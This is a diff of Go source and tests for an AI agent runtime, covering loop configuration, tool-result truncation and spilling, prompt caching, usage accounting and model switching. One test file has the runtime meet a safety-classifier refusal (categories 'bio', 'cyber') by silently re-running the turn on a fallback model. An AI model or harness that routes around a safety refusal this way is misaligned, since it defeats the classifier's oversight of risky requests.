// TestRunSync_ReturnsErrorOnAbort verifies that RunSync surfaces an aborted run
// as a non-nil error (context.Canceled) rather than returning (partialText,
// nil). Cron/sync callers must be able to distinguish a completed run from a
// cancelled one. Reuses the same abort scaffolding as
// TestRun_AbortMidDispatchProducesPairedSession (a tool batch + cancelOnNth).
func TestRunSync_ReturnsErrorOnAbort(t *testing.T) {
threeToolCalls := []llm.ToolCall{
{ID: "tc_0", Name: "noop", Input: json.RawMessage(`{}`)},
{ID: "tc_1", Name: "noop", Input: json.RawMessage(`{}`)},
{ID: "tc_2", Name: "noop", Input: json.RawMessage(`{}`)},
}
llmFake := &threeToolCallLLM{toolCalls: threeToolCalls}
ctx, cancel := context.WithCancel(context.Background())
count := 0
exec := &cancelOnNthExecutor{n: 1, cancel: cancel, count: &count}
r := &Runtime{
LLM: llmFake,
Tools: exec,
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test-model",
MaxTurns: 5,
}
_, err := r.RunSync(ctx, "go", nil)
require.Error(t, err)
require.ErrorIs(t, err, context.Canceled)
}
// threeToolCallLLM emits the configured tool_calls as one assistant turn,
// then EventDone. On the next call (after tool results, if the runtime
// loops back), emits only EventDone with no tool_calls so Run terminates.
+39 -1
View File
@@ -166,6 +166,8 @@ func BuildRuntime(deps RuntimeDeps, inputs RuntimeInputs, spec AgentSpec) (*Runt
}
}
loop := mergeLoopConfig(deps.AgentLoop, spec.Loop)
rt := &Runtime{
LLM: inputs.Provider,
Tools: inputs.Tools,
@@ -186,7 +188,7 @@ func BuildRuntime(deps RuntimeDeps, inputs RuntimeInputs, spec AgentSpec) (*Runt
Permission: deps.Permission,
Compaction: inputs.Compaction,
IngestSource: inputs.IngestSource,
AgentLoop: deps.AgentLoop,
AgentLoop: loop,
StaticSystemPrompt: staticPrompt,
CalibratorStore: deps.CalibratorStore,
mcpClients: mcpClients,
@@ -206,3 +208,39 @@ func BuildRuntime(deps RuntimeDeps, inputs RuntimeInputs, spec AgentSpec) (*Runt
return rt, nil
}
// mergeLoopConfig applies the per-agent non-zero settings over the shared
// defaults. LoopConfig intentionally uses zero values as "inherit/default",
// so this preserves existing RuntimeDeps.AgentLoop behavior while making the
// documented AgentSpec.Loop override effective.
func mergeLoopConfig(base, override LoopConfig) LoopConfig {
out := base
if override.MaxToolConcurrency > 0 {
out.MaxToolConcurrency = override.MaxToolConcurrency
}
if override.MaxAgentDepth > 0 {
out.MaxAgentDepth = override.MaxAgentDepth
}
if override.StreamingTools {
out.StreamingTools = true
}
if override.MaxToolResultLen > 0 {
out.MaxToolResultLen = override.MaxToolResultLen
}
if override.Hooks.OnUserPromptSubmit != nil {
out.Hooks.OnUserPromptSubmit = override.Hooks.OnUserPromptSubmit
}
if override.Hooks.OnSessionStart != nil {
out.Hooks.OnSessionStart = override.Hooks.OnSessionStart
}
if override.Hooks.BeforeToolUse != nil {
out.Hooks.BeforeToolUse = override.Hooks.BeforeToolUse
}
if override.Hooks.AfterToolUse != nil {
out.Hooks.AfterToolUse = override.Hooks.AfterToolUse
}
if override.Hooks.OnStop != nil {
out.Hooks.OnStop = override.Hooks.OnStop
}
return out
}
+34
View File
@@ -1,6 +1,7 @@
package runtime
import (
"context"
"testing"
"github.com/sausheong/harness/tool"
@@ -38,6 +39,39 @@ func TestBuildRuntimeMinimalSpecSafe(t *testing.T) {
require.NotEmpty(t, rt.StaticSystemPrompt)
}
func TestBuildRuntimeMergesSpecLoopOverSharedDefaults(t *testing.T) {
baseCalled := false
specCalled := false
baseStop := func(context.Context, string) { baseCalled = true }
specStop := func(context.Context, string) { specCalled = true }
rt, err := BuildRuntime(
RuntimeDeps{AgentLoop: LoopConfig{
MaxToolConcurrency: 3,
MaxAgentDepth: 2,
MaxToolResultLen: 8000,
Hooks: LifecycleHooks{OnStop: baseStop},
}},
RuntimeInputs{},
AgentSpec{
ID: "a", Name: "A", Model: "anthropic/claude-sonnet-4-5",
Loop: LoopConfig{
MaxToolConcurrency: 7,
StreamingTools: true,
Hooks: LifecycleHooks{OnStop: specStop},
},
},
)
require.NoError(t, err)
assert.Equal(t, 7, rt.AgentLoop.MaxToolConcurrency)
assert.Equal(t, 2, rt.AgentLoop.MaxAgentDepth, "zero spec fields inherit shared defaults")
assert.Equal(t, 8000, rt.AgentLoop.MaxToolResultLen)
assert.True(t, rt.AgentLoop.StreamingTools)
require.NotNil(t, rt.AgentLoop.Hooks.OnStop)
rt.AgentLoop.Hooks.OnStop(context.Background(), "completed")
assert.False(t, baseCalled)
assert.True(t, specCalled)
}
func TestBuildRuntimeUsesCallerProvidedMemoryFiles(t *testing.T) {
// Caller composes memoryFiles however they want — typical patterns
// include walking AGENTS.md from workspace + $HOME, building from a
+2 -2
View File
@@ -443,8 +443,8 @@ func TestRuntimeDynamicSuffixIncludesDate(t *testing.T) {
// this proves the date is stable across turns of a single Run.
func TestRuntimeDateLineComputedOncePerRun(t *testing.T) {
dl := "Today's date is 2026-05-01."
a := buildDynamicSystemPromptSuffix(dl, "")
b := buildDynamicSystemPromptSuffix(dl, "")
a := buildDynamicSystemPromptSuffix("", dl, "")
b := buildDynamicSystemPromptSuffix("", dl, "")
require.Equal(t, a, b)
}
+58
View File
@@ -0,0 +1,58 @@
package runtime
import (
"context"
"testing"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/llm/llmtest"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tokens"
"github.com/sausheong/harness/tool"
"github.com/stretchr/testify/require"
)
// usageDoneProvider emits a usage-bearing EventDone so the agent loop can
// populate (and persist) the per-session token calibrator.
type usageDoneProvider struct {
llmtest.Base
}
func (p *usageDoneProvider) ChatStream(_ context.Context, _ llm.ChatRequest) (<-chan llm.ChatEvent, error) {
ch := make(chan llm.ChatEvent, 4)
ch <- llm.ChatEvent{Type: llm.EventTextDelta, Text: "answer"}
ch <- llm.ChatEvent{Type: llm.EventDone, Usage: &llm.Usage{InputTokens: 1000, OutputTokens: 10}}
close(ch)
return ch, nil
}
// TestCalibratorPersistsByEndOfRun guards that the per-session calibrator is
// persisted to the CalibratorStore by the time Run completes. After the P8
// debounce change the Save moves from per-round to a single deferred flush at
// Run end; this test asserts the observable end state (persisted) is unchanged.
func TestCalibratorPersistsByEndOfRun(t *testing.T) {
dir := t.TempDir()
store := tokens.NewCalibratorStore(dir)
rt := &Runtime{
LLM: &usageDoneProvider{},
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-sonnet-4-5",
// Compaction must be non-nil for the runtime to lazily create the
// per-session calibrator (the calibrator-creation path is gated on
// it). MessageCap/threshold left at defaults so no compaction fires
// during this short run.
Compaction: newCompactionMgr(),
Provider: "anthropic",
MaxTurns: 2,
Workspace: t.TempDir(),
CalibratorStore: store,
}
_, err := rt.RunSync(context.Background(), "go", nil)
require.NoError(t, err)
ratio, count := tokens.NewCalibratorStore(dir).Load("a", "k")
require.Greater(t, count, 0, "calibrator must be persisted by end of Run")
require.Greater(t, ratio, 0.0)
}
+27
View File
@@ -0,0 +1,27 @@
package runtime
import (
"os"
"strconv"
)
// maxToolResultLen returns the per-result truncation cap (chars) for tool
// results in the in-context message history. Precedence:
// 1. Runtime.AgentLoop.MaxToolResultLen (>0) — config wins.
// 2. HARNESS_MAX_TOOL_RESULT_LEN env var (>0) — env fallback.
// 3. defaultMaxToolResultLen (4000).
//
// Tool results longer than this are truncated (or spilled to disk via
// spillConfig when supplied). 4000 is conservative; engineering-style
// agents that read source files and run tests typically want 16000-25000.
func (r *Runtime) maxToolResultLen() int {
if r.AgentLoop.MaxToolResultLen > 0 {
return r.AgentLoop.MaxToolResultLen
}
if v := os.Getenv("HARNESS_MAX_TOOL_RESULT_LEN"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n > 0 {
return n
}
}
return defaultMaxToolResultLen
}
+50
View File
@@ -0,0 +1,50 @@
package runtime
import (
"testing"
)
// TestMaxToolResultLen_Precedence locks in the config > env > default
// precedence so a regression here doesn't silently swap one source for
// another.
func TestMaxToolResultLen_Precedence(t *testing.T) {
t.Run("default when nothing set", func(t *testing.T) {
t.Setenv("HARNESS_MAX_TOOL_RESULT_LEN", "")
r := &Runtime{}
if got := r.maxToolResultLen(); got != defaultMaxToolResultLen {
t.Fatalf("want %d, got %d", defaultMaxToolResultLen, got)
}
})
t.Run("env overrides default", func(t *testing.T) {
t.Setenv("HARNESS_MAX_TOOL_RESULT_LEN", "12345")
r := &Runtime{}
if got := r.maxToolResultLen(); got != 12345 {
t.Fatalf("want 12345, got %d", got)
}
})
t.Run("config overrides env", func(t *testing.T) {
t.Setenv("HARNESS_MAX_TOOL_RESULT_LEN", "12345")
r := &Runtime{AgentLoop: LoopConfig{MaxToolResultLen: 25000}}
if got := r.maxToolResultLen(); got != 25000 {
t.Fatalf("want 25000, got %d", got)
}
})
t.Run("zero env is ignored", func(t *testing.T) {
t.Setenv("HARNESS_MAX_TOOL_RESULT_LEN", "0")
r := &Runtime{}
if got := r.maxToolResultLen(); got != defaultMaxToolResultLen {
t.Fatalf("want %d, got %d", defaultMaxToolResultLen, got)
}
})
t.Run("garbage env is ignored", func(t *testing.T) {
t.Setenv("HARNESS_MAX_TOOL_RESULT_LEN", "not-a-number")
r := &Runtime{}
if got := r.maxToolResultLen(); got != defaultMaxToolResultLen {
t.Fatalf("want %d, got %d", defaultMaxToolResultLen, got)
}
})
}
+57
View File
@@ -0,0 +1,57 @@
package runtime
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/llm/llmtest"
anthropicprovider "github.com/sausheong/harness/providers/anthropic"
)
// cachingCapableFake implements llm.LLMProvider plus the
// llm.PromptCachingProvider capability.
type cachingCapableFake struct {
llmtest.Stub
}
func (*cachingCapableFake) SupportsPromptCaching() bool { return true }
// TestProviderSupportsCaching_CapabilityInterfaceWins: an Anthropic-shaped
// provider registered under a custom name (platformai, bedrock, any relay)
// must still get prompt caching. Gating on the config block's NAME meant
// every turn on a renamed provider re-processed the full history uncached.
func TestProviderSupportsCaching_CapabilityInterfaceWins(t *testing.T) {
r := &Runtime{Provider: "platformai", LLM: &cachingCapableFake{}}
assert.True(t, r.providerSupportsCaching(),
"capability interface must win over the provider name")
}
func TestProviderSupportsCaching_NameFallbackStillWorks(t *testing.T) {
r := &Runtime{Provider: "anthropic", LLM: &llmtest.Stub{}}
assert.True(t, r.providerSupportsCaching(),
"legacy name-based gate kept for providers without the capability interface")
}
func TestProviderSupportsCaching_NonCachingProviderFalse(t *testing.T) {
r := &Runtime{Provider: "local", LLM: &llmtest.Stub{}}
assert.False(t, r.providerSupportsCaching())
}
// TestAnthropicProviderDeclaresPromptCaching pins the wiring end-to-end:
// the real Anthropic provider must implement the capability interface.
func TestAnthropicProviderDeclaresPromptCaching(t *testing.T) {
p := anthropicprovider.NewAnthropicProvider("k", "")
pc, ok := any(p).(llm.PromptCachingProvider)
assert.True(t, ok, "AnthropicProvider must implement llm.PromptCachingProvider")
if ok {
assert.True(t, pc.SupportsPromptCaching())
}
}
// Mid-loop compaction was gated on the same name list; an Anthropic-shaped
// provider under a custom name must support it too.
func TestProviderSupportsMidLoopCompaction_CapabilityInterfaceWins(t *testing.T) {
r := &Runtime{Provider: "platformai", LLM: &cachingCapableFake{}}
assert.True(t, r.providerSupportsMidLoopCompaction())
}
+43 -23
View File
@@ -11,9 +11,15 @@ import (
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
)
const maxToolResultLen = 4000 // truncate tool results longer than this
// defaultMaxToolResultLen is the fallback cap used when LoopConfig.MaxToolResultLen
// is unset and the HARNESS_MAX_TOOL_RESULT_LEN env var is unset/invalid. Tool
// results longer than this get truncated (or spilled to disk + truncated-with-
// marker when spillConfig is supplied). 4000 chars (~1000 tokens) is conservative
// so behaviour is unchanged for callers that don't opt into a larger budget.
const defaultMaxToolResultLen = 4000
// detectImageMIME returns the actual MIME type based on magic bytes.
// Falls back to the provided hint if the format is unrecognized.
@@ -136,18 +142,23 @@ func BuildStaticSystemPrompt(
}
// buildDynamicSystemPromptSuffix concatenates the per-turn dynamic context
// — the date line and the cortex hint — into a single string the runtime
// sends as the second (un-cached) SystemPromptPart. The date line, when
// non-empty, appears at the top so the model anchors on "today" before
// the per-turn content. Returns "" when all inputs are empty/nil.
// — the identity hint, date line, and cortex hint — into a single string
// the runtime sends as the second (un-cached) SystemPromptPart. identityHint
// leads (see Runtime.DynamicIdentityHint: it needs to outweigh the model's
// own prior in-conversation statements, so it gets the most prominent
// position), then the date line so the model anchors on "today" before the
// per-turn content. Returns "" when all inputs are empty/nil.
//
// As of sub-project 5, skill bodies and memory entries are no longer
// auto-injected here. Their indices live in the cached static prompt
// and the agent loads bodies on demand via the load_skill / load_memory
// tools. This trims 5–15 KB of speculative skill bodies and 5–10 KB of
// speculative memory bodies from every prefill.
func buildDynamicSystemPromptSuffix(dateLine, cortexContext string) string {
func buildDynamicSystemPromptSuffix(identityHint, dateLine, cortexContext string) string {
var sb strings.Builder
if identityHint != "" {
sb.WriteString(identityHint)
}
if dateLine != "" {
sb.WriteString(dateLine)
}
@@ -162,17 +173,6 @@ func buildDynamicSystemPromptSuffix(dateLine, cortexContext string) string {
// corresponding tool_result in the next user message. Orphaned tool calls
// (e.g. from interrupted sessions) get synthetic error results injected.
func assembleMessages(history []session.SessionEntry) []llm.Message {
// First pass: collect tool result IDs so we can detect orphaned tool calls.
resultIDs := make(map[string]bool)
for _, entry := range history {
if entry.Type == session.EntryTypeToolResult {
var tr session.ToolResultData
if err := json.Unmarshal(entry.Data, &tr); err == nil {
resultIDs[tr.ToolCallID] = true
}
}
}
var msgs []llm.Message
for _, entry := range history {
@@ -213,13 +213,19 @@ func assembleMessages(history []session.SessionEntry) []llm.Message {
if err := json.Unmarshal(entry.Data, &md); err != nil {
continue
}
// Before appending a new message, check if the last assistant
// message has orphaned tool calls that need synthetic results.
msgs = injectMissingToolResults(msgs)
msg := llm.Message{
Role: entry.Role,
Content: md.Text,
}
// Restore thinking blocks for assistant messages (must be echoed back).
if entry.Role == "assistant" {
for _, tb := range md.ThinkingBlocks {
msg.ThinkingBlocks = append(msg.ThinkingBlocks, llm.ThinkingBlock{
Thinking: tb.Thinking,
Signature: tb.Signature,
})
}
}
// Convert session images to LLM image content
if entry.Role == "user" {
for _, img := range md.Images {
@@ -428,7 +434,7 @@ func spillToolResult(cfg spillConfig, toolCallID, content string) (string, error
return "", fmt.Errorf("spill mkdir: %w", err)
}
path := filepath.Join(dir, toolCallID+".txt")
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
if err := tool.WriteFileAtomic(path, []byte(content), 0o600); err != nil {
return "", fmt.Errorf("spill write: %w", err)
}
return path, nil
@@ -455,7 +461,7 @@ func spillToolResult(cfg spillConfig, toolCallID, content string) (string, error
// nearest newline boundary — most tool outputs (file reads, command
// output) are front-loaded with the most relevant info, so the head
// preview is usually enough on its own.
func pruneToolResults(msgs []llm.Message, maxLen int, cfg spillConfig) {
func pruneToolResults(msgs []llm.Message, maxLen int, cfg spillConfig, spilled map[string]bool) {
for i := range msgs {
if msgs[i].ToolCallID == "" || len(msgs[i].Content) <= maxLen {
continue
@@ -475,11 +481,25 @@ func pruneToolResults(msgs []llm.Message, maxLen int, cfg spillConfig) {
// Try spill first if configured. On any failure, fall through to
// legacy truncation so the prefill stays bounded either way.
if cfg.Workspace != "" && cfg.SessionKey != "" {
if path, err := spillToolResult(cfg, msgs[i].ToolCallID, msgs[i].Content); err == nil {
id := msgs[i].ToolCallID
// Spill content is immutable per ToolCallID and lands at a
// deterministic path. If this Run already spilled this ID,
// skip the (multi-MB) disk re-write and just rebuild the
// in-memory marker pointing at the same path.
if spilled != nil && spilled[id] {
path := filepath.Join(cfg.Workspace, ".harness", "spill", cfg.SessionKey, id+".txt")
msgs[i].Content = fmt.Sprintf("%s\n\n%s%d of %d chars saved to %s; use read_file to access the full output]",
head, spillMarker, len(head), originalLen, path)
continue
}
if writtenPath, err := spillToolResult(cfg, id, msgs[i].Content); err == nil {
if spilled != nil {
spilled[id] = true
}
msgs[i].Content = fmt.Sprintf("%s\n\n%s%d of %d chars saved to %s; use read_file to access the full output]",
head, spillMarker, len(head), originalLen, writtenPath)
continue
}
}
msgs[i].Content = fmt.Sprintf("%s\n\n%s%d of %d chars; re-run the tool with offset/limit to see more]",
+39 -4
View File
@@ -1,12 +1,14 @@
package runtime
import (
jsonpkg "encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/sausheong/harness/session"
"github.com/stretchr/testify/require"
)
@@ -83,17 +85,17 @@ func TestBuildStaticSystemPromptIncludesMemoryFiles(t *testing.T) {
}
func TestBuildDynamicSystemPromptSuffixEmpty(t *testing.T) {
got := buildDynamicSystemPromptSuffix("", "")
got := buildDynamicSystemPromptSuffix("", "", "")
require.Equal(t, "", got)
}
func TestBuildDynamicSystemPromptSuffixHintOnly(t *testing.T) {
got := buildDynamicSystemPromptSuffix("", "\n\nHINT")
got := buildDynamicSystemPromptSuffix("", "", "\n\nHINT")
require.Equal(t, "\n\nHINT", got)
}
func TestBuildDynamicSystemPromptSuffixDateAndHint(t *testing.T) {
got := buildDynamicSystemPromptSuffix("Today's date is 2026-05-01.", "\n\nKG_HINT")
got := buildDynamicSystemPromptSuffix("", "Today's date is 2026-05-01.", "\n\nKG_HINT")
dateIdx := strings.Index(got, "Today's date is")
hintIdx := strings.Index(got, "KG_HINT")
require.True(t, dateIdx >= 0 && hintIdx > dateIdx,
@@ -101,11 +103,19 @@ func TestBuildDynamicSystemPromptSuffixDateAndHint(t *testing.T) {
}
func TestBuildDynamicSystemPromptSuffixIncludesDate(t *testing.T) {
got := buildDynamicSystemPromptSuffix("Today's date is 2026-05-01.", "")
got := buildDynamicSystemPromptSuffix("", "Today's date is 2026-05-01.", "")
require.True(t, strings.HasPrefix(got, "Today's date is 2026-05-01."),
"date line must appear at the top of the dynamic suffix")
}
func TestBuildDynamicSystemPromptSuffixIdentityHintLeadsDate(t *testing.T) {
got := buildDynamicSystemPromptSuffix("IDENTITY_HINT", "Today's date is 2026-05-01.", "\n\nKG_HINT")
identityIdx := strings.Index(got, "IDENTITY_HINT")
dateIdx := strings.Index(got, "Today's date is")
require.True(t, identityIdx == 0 && dateIdx > identityIdx,
"order must be identity hint < date; got %d %d", identityIdx, dateIdx)
}
func TestFormatDateLine(t *testing.T) {
cases := []struct {
name string
@@ -123,3 +133,28 @@ func TestFormatDateLine(t *testing.T) {
})
}
}
func mustJSON(t *testing.T, v any) jsonpkg.RawMessage {
t.Helper()
b, err := jsonpkg.Marshal(v)
require.NoError(t, err)
return b
}
func TestAssembleMessagesInjectsOrphanedToolResult(t *testing.T) {
history := []session.SessionEntry{
{Type: session.EntryTypeMessage, Role: "user", Data: mustJSON(t, session.MessageData{Text: "hi"})},
{Type: session.EntryTypeToolCall, Role: "assistant", Data: mustJSON(t, session.ToolCallData{
ID: "call_1", Tool: "bash", Input: jsonpkg.RawMessage(`{}`),
})},
{Type: session.EntryTypeMessage, Role: "user", Data: mustJSON(t, session.MessageData{Text: "still there?"})},
}
msgs := assembleMessages(history)
var found bool
for _, m := range msgs {
if m.ToolCallID == "call_1" {
found = true
}
}
require.True(t, found, "orphaned tool call must get a synthetic tool result from the terminal pass")
}
+107
View File
@@ -266,3 +266,110 @@ func TestBuildRuntimeRejectsCrossProviderFallback(t *testing.T) {
func decodeMessage(e session.SessionEntry, dst *session.MessageData) error {
return json.Unmarshal(e.Data, dst)
}
// refusalThenSuccessProvider returns a classifier-refusal stream (HTTP
// 200, EventDone with StopReason=refusal, no content) on the first call
// and a normal text stream on the second. Mirrors Claude Fable 5 safety
// classifier behavior: refusals are NOT transport errors, so the
// existing IsRetryableModelError path never sees them.
type refusalThenSuccessProvider struct {
llmtest.Base
calls int
modelsSeen []string
finalText string
}
func (p *refusalThenSuccessProvider) ChatStream(_ context.Context, req llm.ChatRequest) (<-chan llm.ChatEvent, error) {
p.calls++
p.modelsSeen = append(p.modelsSeen, req.Model)
ch := make(chan llm.ChatEvent, 4)
if p.calls == 1 {
ch <- llm.ChatEvent{Type: llm.EventDone, StopReason: llm.StopReasonRefusal, StopCategory: "bio"}
} else {
ch <- llm.ChatEvent{Type: llm.EventTextDelta, Text: p.finalText}
ch <- llm.ChatEvent{Type: llm.EventDone, StopReason: "end_turn"}
}
close(ch)
return ch, nil
}
// TestRuntimeRefusalRetriesOnFallbackModel: a refusal turn with a
// configured fallback must transparently re-run the turn on the
// fallback model instead of surfacing an empty response.
func TestRuntimeRefusalRetriesOnFallbackModel(t *testing.T) {
prov := &refusalThenSuccessProvider{finalText: "fallback answered"}
rt := &Runtime{
LLM: prov,
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-fable-5",
FallbackModel: "claude-opus-4-8",
Provider: "anthropic",
MaxTurns: 3,
Workspace: t.TempDir(),
}
out, err := rt.RunSync(context.Background(), "summarise the biology article", nil)
require.NoError(t, err)
assert.Equal(t, "fallback answered", out)
require.Equal(t, 2, prov.calls, "refusal + fallback retry = 2 calls")
assert.Equal(t, "claude-fable-5", prov.modelsSeen[0])
assert.Equal(t, "claude-opus-4-8", prov.modelsSeen[1])
}
// alwaysRefusalProvider refuses every call — covers the no-fallback and
// fallback-also-refused paths.
type alwaysRefusalProvider struct {
llmtest.Base
calls int
}
func (p *alwaysRefusalProvider) ChatStream(_ context.Context, _ llm.ChatRequest) (<-chan llm.ChatEvent, error) {
p.calls++
ch := make(chan llm.ChatEvent, 2)
ch <- llm.ChatEvent{Type: llm.EventDone, StopReason: llm.StopReasonRefusal, StopCategory: "cyber"}
close(ch)
return ch, nil
}
// TestRuntimeRefusalWithoutFallbackSurfacesVisibleText: with no fallback
// the user must see an explanation, not an empty response.
func TestRuntimeRefusalWithoutFallbackSurfacesVisibleText(t *testing.T) {
prov := &alwaysRefusalProvider{}
rt := &Runtime{
LLM: prov,
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-fable-5",
Provider: "anthropic",
MaxTurns: 3,
Workspace: t.TempDir(),
}
out, err := rt.RunSync(context.Background(), "do something", nil)
require.NoError(t, err, "a refusal is a model decision, not a transport error")
assert.Contains(t, out, "declined", "refusal must produce visible explanation text")
assert.Contains(t, out, "cyber", "category should be included when present")
assert.Equal(t, 1, prov.calls, "no fallback configured → no retry")
}
// TestRuntimeRefusalFallbackAlsoRefusesSurfacesText: when the fallback
// refuses too, stop (no infinite retry) and surface the explanation.
func TestRuntimeRefusalFallbackAlsoRefusesSurfacesText(t *testing.T) {
prov := &alwaysRefusalProvider{}
rt := &Runtime{
LLM: prov,
Tools: tool.NewRegistry(),
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "claude-fable-5",
FallbackModel: "claude-opus-4-8",
Provider: "anthropic",
MaxTurns: 3,
Workspace: t.TempDir(),
}
out, err := rt.RunSync(context.Background(), "do something", nil)
require.NoError(t, err)
assert.Contains(t, out, "declined")
assert.Equal(t, 2, prov.calls, "primary + one fallback attempt, then stop")
}
+62
View File
@@ -0,0 +1,62 @@
package runtime
import (
"context"
"testing"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
)
// TestModelSwitchMidSession_ActuallyChangesRequestModelAndHint reproduces,
// at the harness level, exactly what a caller like hand's tui.Controller
// does on a live model switch: mutate Model and DynamicIdentityHint on an
// already-running Runtime between two Run calls in the same session. This
// is the mechanism a caller-side fix for "the model still thinks it's the
// old one" ultimately rests on — if the second Run's actual ChatRequest
// didn't target the new model, no amount of system-prompt wording could
// have fixed the symptom, since the model actually being queried would
// still be the old one.
func TestModelSwitchMidSession_ActuallyChangesRequestModelAndHint(t *testing.T) {
rec := &recordingProvider{reply: "ok"}
sess := session.NewSession("test-agent", "test-key")
reg := tool.NewRegistry()
rt := &Runtime{
LLM: rec,
Tools: reg,
Session: sess,
Model: "meta/muse-spark-1.3",
Provider: "openrouter",
Workspace: t.TempDir(),
MaxTurns: 5,
DynamicIdentityHint: "You are running as the model \"openrouter/meta/muse-spark-1.3\".",
}
events, err := rt.Run(context.Background(), "which model am I using", nil)
require.NoError(t, err)
for range events {
}
// Simulate exactly what Controller.SwitchModel does.
rt.Model = "anthropic/claude-sonnet-5"
rt.DynamicIdentityHint = "You are running as the model \"openrouter/anthropic/claude-sonnet-5\"."
events, err = rt.Run(context.Background(), "which model am I using now", nil)
require.NoError(t, err)
for range events {
}
rec.mu.Lock()
defer rec.mu.Unlock()
require.Len(t, rec.requests, 2)
require.Equal(t, "meta/muse-spark-1.3", rec.requests[0].Model)
require.Equal(t, "anthropic/claude-sonnet-5", rec.requests[1].Model, "second request must target the switched model")
part2 := rec.requests[1].SystemPromptParts
require.Len(t, part2, 2, "expected static + dynamic system prompt parts")
require.Contains(t, part2[1].Text, "openrouter/anthropic/claude-sonnet-5")
require.NotContains(t, part2[1].Text, "muse-spark-1.3", "dynamic hint must not still name the old model")
}
+125
View File
@@ -0,0 +1,125 @@
package runtime
import (
"context"
"encoding/json"
"testing"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/llm/llmtest"
"github.com/sausheong/harness/session"
"github.com/sausheong/harness/tool"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// twoTurnUsageLLM: turn 1 emits a noop tool call + EventDone{Usage:u1};
// turn 2 (after the tool result) emits text + EventDone{Usage:u2} and stops.
type twoTurnUsageLLM struct {
llmtest.Base
u1, u2 *llm.Usage
calls int
}
func (f *twoTurnUsageLLM) ChatStream(_ context.Context, _ llm.ChatRequest) (<-chan llm.ChatEvent, error) {
ch := make(chan llm.ChatEvent, 8)
first := f.calls == 0
f.calls++
go func() {
defer close(ch)
if first {
tc := llm.ToolCall{ID: "tc_0", Name: "noop", Input: json.RawMessage(`{}`)}
ch <- llm.ChatEvent{Type: llm.EventToolCallStart, ToolCall: &tc}
ch <- llm.ChatEvent{Type: llm.EventToolCallDone, ToolCall: &tc}
ch <- llm.ChatEvent{Type: llm.EventDone, Usage: f.u1}
return
}
ch <- llm.ChatEvent{Type: llm.EventTextDelta, Text: "done"}
ch <- llm.ChatEvent{Type: llm.EventDone, Usage: f.u2}
}()
return ch, nil
}
// usageNoopExecutor returns "ok" for a "noop" tool. (Distinct from the
// error-returning noopExecutor in agent_test.go, which has no tool defs.)
type usageNoopExecutor struct{}
func (usageNoopExecutor) Execute(_ context.Context, _ string, _ json.RawMessage) (tool.ToolResult, error) {
return tool.ToolResult{Output: "ok"}, nil
}
func (usageNoopExecutor) ToolDefs() []llm.ToolDef { return []llm.ToolDef{{Name: "noop"}} }
func (usageNoopExecutor) Names() []string { return []string{"noop"} }
func (usageNoopExecutor) Get(string) (tool.Tool, bool) { return nil, false }
func drainUsage(t *testing.T, events <-chan AgentEvent) *llm.Usage {
t.Helper()
var done *llm.Usage
var sawDone bool
for ev := range events {
if ev.Type == EventDone {
done = ev.Usage
sawDone = true
}
}
require.True(t, sawDone, "expected a terminal EventDone")
return done
}
func TestRun_UsageAccumulatesAcrossTurns(t *testing.T) {
r := &Runtime{
LLM: &twoTurnUsageLLM{
u1: &llm.Usage{InputTokens: 100, OutputTokens: 40, CacheCreationInputTokens: 10, CacheReadInputTokens: 6},
u2: &llm.Usage{InputTokens: 10, OutputTokens: 5, CacheCreationInputTokens: 1, CacheReadInputTokens: 2},
},
Tools: usageNoopExecutor{},
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test-model",
MaxTurns: 5,
}
events, err := r.Run(context.Background(), "go", nil)
require.NoError(t, err)
got := drainUsage(t, events)
require.NotNil(t, got)
assert.Equal(t, 110, got.InputTokens)
assert.Equal(t, 45, got.OutputTokens)
assert.Equal(t, 11, got.CacheCreationInputTokens)
assert.Equal(t, 8, got.CacheReadInputTokens)
}
func TestRun_UsageSingleTurn(t *testing.T) {
r := &Runtime{
LLM: &twoTurnUsageLLM{
u2: &llm.Usage{InputTokens: 7, OutputTokens: 3},
},
Tools: usageNoopExecutor{},
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test-model",
MaxTurns: 5,
}
// calls=0 path emits a tool call; to get a pure single turn, mark calls so
// the first ChatStream takes the text+stop branch.
r.LLM.(*twoTurnUsageLLM).calls = 1
events, err := r.Run(context.Background(), "go", nil)
require.NoError(t, err)
got := drainUsage(t, events)
require.NotNil(t, got)
assert.Equal(t, 7, got.InputTokens)
assert.Equal(t, 3, got.OutputTokens)
}
func TestRun_UsageNilWhenProviderSilent(t *testing.T) {
r := &Runtime{
LLM: &twoTurnUsageLLM{calls: 1}, // single turn, u2 nil → EventDone with nil usage
Tools: usageNoopExecutor{},
Session: session.NewSession("a", "k"),
AgentID: "a",
Model: "test-model",
MaxTurns: 5,
}
events, err := r.Run(context.Background(), "go", nil)
require.NoError(t, err)
got := drainUsage(t, events)
assert.Nil(t, got, "usage must stay nil when the provider never reports it")
}
+254 -50
View File
@@ -45,7 +45,7 @@ type AgentEvent struct {
Result *tool.ToolResult
Error error
Compaction *compaction.Result // populated for EventCompaction* events
Usage *llm.Usage // populated for EventDone when the provider reported it
Usage *llm.Usage // on the terminal EventDone, the token total accumulated across all turns of the run (nil if the provider never reported usage); per-turn figures are available via RunTurn's TurnResult.Usage
}
// Runtime is the agent think-act loop.
@@ -85,6 +85,19 @@ type Runtime struct {
// prompt cache hits.
StaticSystemPrompt string
// DynamicIdentityHint is caller-set text re-sent, uncached, in every
// turn's system prompt (see buildDynamicSystemPromptSuffix) — unlike
// StaticSystemPrompt, safe to mutate mid-conversation (e.g. after a
// live model switch) and have the very next turn pick it up. Exists
